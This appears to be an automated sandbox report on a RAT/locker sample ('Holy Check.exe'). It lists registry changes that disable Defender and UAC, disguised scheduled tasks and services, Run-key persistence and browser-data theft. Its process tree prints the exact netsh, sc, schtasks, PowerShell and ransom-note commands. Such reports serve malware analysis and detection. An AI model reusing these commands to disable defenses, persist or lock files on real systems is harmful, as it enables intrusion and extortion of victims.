sheetrat | 41e33d2a84887bfb81f3ffa85ee56d2c5d1b87729c7fccdde6e65ef4afa928a8

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tmpC1DF.tmp.exe\""	tmpC1DF.tmp.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	Holy Check.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	Holy Check.exe

UAC bypass 3 TTPs 4 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Holy Check.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Holy Check.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	Holy Check.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	Holy Check.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
5364	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\International\Geo\Nation	Holy Check.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes a file named after a Windows system binary 1 TTPs 1 IoCs

The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

Match Legitimate Name or Location

T1036.005

description	ioc	Process
File opened (read-only)	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\svchost.exe	Holy Check.exe

Executes dropped EXE 6 IoCs

pid	Process
4428	tmpC1DF.tmp.exe
2248	tmpC1DF.tmp.exe
5200	tmpC1DF.tmp.exe
2888	tmpC1DF.tmp.exe
4360	tmpC1DF.tmp.exe
2856	tmpC1DF.tmp.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Windows security modification 2 TTPs 1 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	Holy Check.exe

Adds Run key to start application 2 TTPs 13 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tmpC1DF.tmp.exe\" -startup"	tmpC1DF.tmp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tmpC1DF.tmp.exe\""	tmpC1DF.tmp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\WINDOWS = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tmpC1DF.tmp.exe\" --wininit"	tmpC1DF.tmp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	tmpC1DF.tmp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	tmpC1DF.tmp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	tmpC1DF.tmp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	tmpC1DF.tmp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\System3264Wow = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tmpC1DF.tmp.exe\" --init"	tmpC1DF.tmp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\OneDrive10293 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tmpC1DF.tmp.exe\" /setup"	tmpC1DF.tmp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	tmpC1DF.tmp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	tmpC1DF.tmp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	tmpC1DF.tmp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	tmpC1DF.tmp.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

defense_evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Holy Check.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Holy Check.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
6	ip-api.com

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
4448	powershell.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 12 IoCs

persistence privilege_escalation

Hidden Files and Directories

T1564.001

pid	Process
2340	cmd.exe
2636	cmd.exe
2288	cmd.exe
2496	cmd.exe
1008	cmd.exe
2968	cmd.exe
5076	cmd.exe
1636	cmd.exe
6040	cmd.exe
4180	cmd.exe
1228	cmd.exe
5560	cmd.exe

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5180	sc.exe
5036	sc.exe
3036	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4392	cmd.exe
2704	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	tmpC1DF.tmp.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Holy Check.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Holy Check.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Holy Check.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Holy Check.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	tmpC1DF.tmp.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	msinfo32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	msinfo32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	msinfo32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	msinfo32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	msinfo32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs	msinfo32.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msinfo32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	msinfo32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\ECFirmwareMajorRelease	msinfo32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\ECFirmwareMinorRelease	msinfo32.exe

Kills process with taskkill 1 IoCs

pid	Process
4784	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\gogoduck	Holy Check.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	Holy Check.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\Local Settings	OpenWith.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5972	schtasks.exe
3004	schtasks.exe
3864	schtasks.exe
6084	schtasks.exe
3592	schtasks.exe
5168	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4448	powershell.exe
4448	powershell.exe
4428	tmpC1DF.tmp.exe
4428	tmpC1DF.tmp.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	5244	Holy Check.exe
Token: SeDebugPrivilege	3420	Holy Check.exe
Token: 33	3984	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	3984	AUDIODG.EXE
Token: SeDebugPrivilege	4448	powershell.exe
Token: SeDebugPrivilege	4428	tmpC1DF.tmp.exe
Token: SeDebugPrivilege	4784	taskkill.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3596	OpenWith.exe

Suspicious use of WriteProcessMemory 57 IoCs

description	pid	Process	procid_target
PID 5244 wrote to memory of 2704	5244	Holy Check.exe	88
PID 2704 wrote to memory of 5364	2704	cmd.exe	90
PID 5244 wrote to memory of 5180	5244	Holy Check.exe	92
PID 5244 wrote to memory of 5036	5244	Holy Check.exe	94
PID 5244 wrote to memory of 3036	5244	Holy Check.exe	96
PID 5244 wrote to memory of 1344	5244	Holy Check.exe	100
PID 5244 wrote to memory of 3592	5244	Holy Check.exe	104
PID 5244 wrote to memory of 2164	5244	Holy Check.exe	106
PID 5244 wrote to memory of 5168	5244	Holy Check.exe	108
PID 5244 wrote to memory of 1212	5244	Holy Check.exe	110
PID 5244 wrote to memory of 5972	5244	Holy Check.exe	112
PID 5244 wrote to memory of 4384	5244	Holy Check.exe	114
PID 5244 wrote to memory of 3004	5244	Holy Check.exe	116
PID 5244 wrote to memory of 2888	5244	Holy Check.exe	118
PID 5244 wrote to memory of 3864	5244	Holy Check.exe	120
PID 5244 wrote to memory of 4228	5244	Holy Check.exe	125
PID 5244 wrote to memory of 6084	5244	Holy Check.exe	127
PID 5244 wrote to memory of 4392	5244	Holy Check.exe	137
PID 4392 wrote to memory of 4448	4392	cmd.exe	139
PID 4448 wrote to memory of 4428	4448	powershell.exe	140
PID 4428 wrote to memory of 4180	4428	tmpC1DF.tmp.exe	154
PID 4428 wrote to memory of 6040	4428	tmpC1DF.tmp.exe	155
PID 4428 wrote to memory of 2340	4428	tmpC1DF.tmp.exe	156
PID 4428 wrote to memory of 5560	4428	tmpC1DF.tmp.exe	157
PID 4428 wrote to memory of 1636	4428	tmpC1DF.tmp.exe	158
PID 4428 wrote to memory of 5076	4428	tmpC1DF.tmp.exe	159
PID 4428 wrote to memory of 4784	4428	tmpC1DF.tmp.exe	160
PID 2340 wrote to memory of 5048	2340	cmd.exe	172
PID 1636 wrote to memory of 5756	1636	cmd.exe	173
PID 5076 wrote to memory of 4808	5076	cmd.exe	174
PID 4180 wrote to memory of 2760	4180	cmd.exe	175
PID 6040 wrote to memory of 5532	6040	cmd.exe	176
PID 5560 wrote to memory of 1800	5560	cmd.exe	177
PID 6040 wrote to memory of 3348	6040	cmd.exe	180
PID 2340 wrote to memory of 6100	2340	cmd.exe	181
PID 5560 wrote to memory of 3636	5560	cmd.exe	182
PID 5076 wrote to memory of 688	5076	cmd.exe	183
PID 4180 wrote to memory of 332	4180	cmd.exe	184
PID 1636 wrote to memory of 1164	1636	cmd.exe	185
PID 4428 wrote to memory of 2636	4428	tmpC1DF.tmp.exe	186
PID 4428 wrote to memory of 2968	4428	tmpC1DF.tmp.exe	187
PID 4428 wrote to memory of 1228	4428	tmpC1DF.tmp.exe	188
PID 4428 wrote to memory of 1008	4428	tmpC1DF.tmp.exe	190
PID 4428 wrote to memory of 2496	4428	tmpC1DF.tmp.exe	191
PID 4428 wrote to memory of 2288	4428	tmpC1DF.tmp.exe	193
PID 1008 wrote to memory of 4376	1008	cmd.exe	198
PID 2636 wrote to memory of 4320	2636	cmd.exe	199
PID 2968 wrote to memory of 2468	2968	cmd.exe	200
PID 1228 wrote to memory of 2912	1228	cmd.exe	201
PID 1008 wrote to memory of 1048	1008	cmd.exe	202
PID 2496 wrote to memory of 4368	2496	cmd.exe	203
PID 2288 wrote to memory of 4688	2288	cmd.exe	204
PID 2636 wrote to memory of 5100	2636	cmd.exe	205
PID 1228 wrote to memory of 888	1228	cmd.exe	206
PID 2968 wrote to memory of 1144	2968	cmd.exe	207
PID 2496 wrote to memory of 5184	2496	cmd.exe	208
PID 2288 wrote to memory of 6048	2288	cmd.exe	209

System policy modification 1 TTPs 6 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Holy Check.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Holy Check.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	Holy Check.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	Holy Check.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	Holy Check.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	Holy Check.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 24 IoCs

Hidden Files and Directories

T1564.001

pid	Process
4808	attrib.exe
3636	attrib.exe
4320	attrib.exe
2468	attrib.exe
5184	attrib.exe
1048	attrib.exe
6048	attrib.exe
5048	attrib.exe
2760	attrib.exe
5756	attrib.exe
3348	attrib.exe
888	attrib.exe
5100	attrib.exe
2912	attrib.exe
1800	attrib.exe
4376	attrib.exe
4688	attrib.exe
4368	attrib.exe
1164	attrib.exe
5532	attrib.exe
332	attrib.exe
688	attrib.exe
6100	attrib.exe
1144	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Holy Check.exe
"C:\Users\Admin\AppData\Local\Temp\Holy Check.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- UAC bypass
- Checks computer location settings
- Executes a file named after a Windows system binary
- Windows security modification
- Checks whether UAC is enabled
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:5244
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\Holy Check.exe" enable=yes & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2704
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\Holy Check.exe" enable=yes
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:5364
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" delete "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:5180
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Users\Admin\AppData\Local\Temp\Holy Check.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:5036
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" start "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:3036
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_4e62d2a8" /F
  2⤵
  PID:1344
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_4e62d2a8" /XML "C:\Users\Admin\AppData\Local\Temp\027b1052-2a85-460b-824c-7da24a430660.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3592
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "DropboxUpdateTaskMachineCore_ea6d2906" /F
  2⤵
  PID:2164
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "DropboxUpdateTaskMachineCore_ea6d2906" /XML "C:\Users\Admin\AppData\Local\Temp\c203eb15-01d3-4741-919a-ef7bb9037050.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5168
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "FamilySafetyMonitor_2ef256ed" /F
  2⤵
  PID:1212
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "FamilySafetyMonitor_2ef256ed" /XML "C:\Users\Admin\AppData\Local\Temp\7d352ddf-4998-42f4-9c23-65a802b5be42.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5972
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "MicrosoftEdgeUpdateTaskMachineCore_351ff36e" /F
  2⤵
  PID:4384
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "MicrosoftEdgeUpdateTaskMachineCore_351ff36e" /XML "C:\Users\Admin\AppData\Local\Temp\3f5c0701-d2a4-4891-b966-959419841b10.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3004
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "OneDrive Standalone Update Task_be820058" /F
  2⤵
  PID:2888
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "OneDrive Standalone Update Task_be820058" /XML "C:\Users\Admin\AppData\Local\Temp\90fcb058-87c7-4a7c-b0f3-a972b9805606.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3864
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "ProgramDataUpdater_71c38bbf" /F
  2⤵
  PID:4228
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "ProgramDataUpdater_71c38bbf" /XML "C:\Users\Admin\AppData\Local\Temp\272ab682-ffd5-4188-a4d9-cbc9bfabb040.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\tmpC1DF.tmp.exe"' & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4392
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\tmpC1DF.tmp.exe"'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4448
  - - C:\Users\Admin\AppData\Local\Temp\tmpC1DF.tmp.exe
      "C:\Users\Admin\AppData\Local\Temp\tmpC1DF.tmp.exe"
      4⤵
      Modifies WinLogon for persistence
      Executes dropped EXE
      Adds Run key to start application
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4428
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @1488 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        5⤵
        Hide Artifacts: Hidden Files and Directories
        Suspicious use of WriteProcessMemory
        
        PID:4180
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s +r +i /D
        6⤵
        Views/modifies file attributes
        
        PID:2760
      - C:\Windows\system32\attrib.exe
        
        attrib -h +s +r info-Locker.txt
        6⤵
        Views/modifies file attributes
        
        PID:332
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @1488 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        5⤵
        Hide Artifacts: Hidden Files and Directories
        Suspicious use of WriteProcessMemory
        
        PID:6040
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s +r +i /D
        6⤵
        Views/modifies file attributes
        
        PID:5532
      - C:\Windows\system32\attrib.exe
        
        attrib -h +s +r info-Locker.txt
        6⤵
        Views/modifies file attributes
        
        PID:3348
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @1488 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        5⤵
        Hide Artifacts: Hidden Files and Directories
        Suspicious use of WriteProcessMemory
        
        PID:2340
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s +r +i /D
        6⤵
        Views/modifies file attributes
        
        PID:5048
      - C:\Windows\system32\attrib.exe
        
        attrib -h +s +r info-Locker.txt
        6⤵
        Views/modifies file attributes
        
        PID:6100
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @1488 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        5⤵
        Hide Artifacts: Hidden Files and Directories
        Suspicious use of WriteProcessMemory
        
        PID:5560
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s +r +i /D
        6⤵
        Views/modifies file attributes
        
        PID:1800
      - C:\Windows\system32\attrib.exe
        
        attrib -h +s +r info-Locker.txt
        6⤵
        Views/modifies file attributes
        
        PID:3636
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @1488 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        5⤵
        Hide Artifacts: Hidden Files and Directories
        Suspicious use of WriteProcessMemory
        
        PID:1636
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s +r +i /D
        6⤵
        Views/modifies file attributes
        
        PID:5756
      - C:\Windows\system32\attrib.exe
        
        attrib -h +s +r info-Locker.txt
        6⤵
        Views/modifies file attributes
        
        PID:1164
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @1488 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        5⤵
        Hide Artifacts: Hidden Files and Directories
        Suspicious use of WriteProcessMemory
        
        PID:5076
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s +r +i /D
        6⤵
        Views/modifies file attributes
        
        PID:4808
      - C:\Windows\system32\attrib.exe
        
        attrib -h +s +r info-Locker.txt
        6⤵
        Views/modifies file attributes
        
        PID:688
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill.exe /im Explorer.exe /f
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4784
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c F: & attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
        5⤵
        Hide Artifacts: Hidden Files and Directories
        Suspicious use of WriteProcessMemory
        
        PID:2636
      - C:\Windows\system32\attrib.exe
        
        attrib -h -s -r -i /D
        6⤵
        Views/modifies file attributes
        
        PID:4320
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s -r desktop.ini
        6⤵
        Views/modifies file attributes
        
        PID:5100
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c cd "%userprofile%\desktop"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
        5⤵
        Hide Artifacts: Hidden Files and Directories
        Suspicious use of WriteProcessMemory
        
        PID:2968
      - C:\Windows\system32\attrib.exe
        
        attrib -h -s -r -i /D
        6⤵
        Views/modifies file attributes
        
        PID:2468
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s -r desktop.ini
        6⤵
        Views/modifies file attributes
        
        PID:1144
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
        5⤵
        Hide Artifacts: Hidden Files and Directories
        Suspicious use of WriteProcessMemory
        
        PID:1228
      - C:\Windows\system32\attrib.exe
        
        attrib -h -s -r -i /D
        6⤵
        Views/modifies file attributes
        
        PID:2912
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s -r desktop.ini
        6⤵
        Views/modifies file attributes
        
        PID:888
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c cd "%userprofile%\downloads"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
        5⤵
